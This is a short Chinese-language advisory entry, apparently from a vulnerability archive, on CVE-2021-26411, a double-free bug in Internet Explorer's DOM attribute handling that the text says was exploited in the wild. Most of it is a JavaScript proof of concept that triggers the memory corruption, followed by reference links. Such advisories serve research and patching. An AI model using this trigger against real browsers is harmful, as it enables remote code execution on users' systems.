Internet Explorer内存损坏漏洞(CVE-2021-26411).md
1 KB / 2021-05-21 09:14:38
# Internet Explorer内存损坏漏洞(CVE-2021-26411)
Interne Explorer在处理DOM对象时,存在一处double free漏洞,攻击者可通过诱导用户点击恶意链接或文件来利用此漏洞,此漏洞可导致远程代码执行,从而使攻击者控制用户系统。该漏洞细节已公开,并检测到在野利用。
漏洞详情可以参考:https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html
PoC:
```js
<script>
var elem = document.createElement('xxx');
var attr1 = document.createAttribute('yyy');
var attr2 = document.createAttribute('zzz');
var obj = {};
obj.valueOf = function() {
elem.clearAttributes();
return 0x1337;
};
attr1.nodeValue = obj;
attr2.nodeValue = 123;
elem.setAttributeNode(attr1);
elem.setAttributeNode(attr2);
elem.removeAttributeNode(attr1);
</script>
```
ref:
* https://msrc.microsoft.com/updat ... lity/CVE-2021-26411
* https://nvd.nist.gov/vuln/detail/CVE-2021-26411
* https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html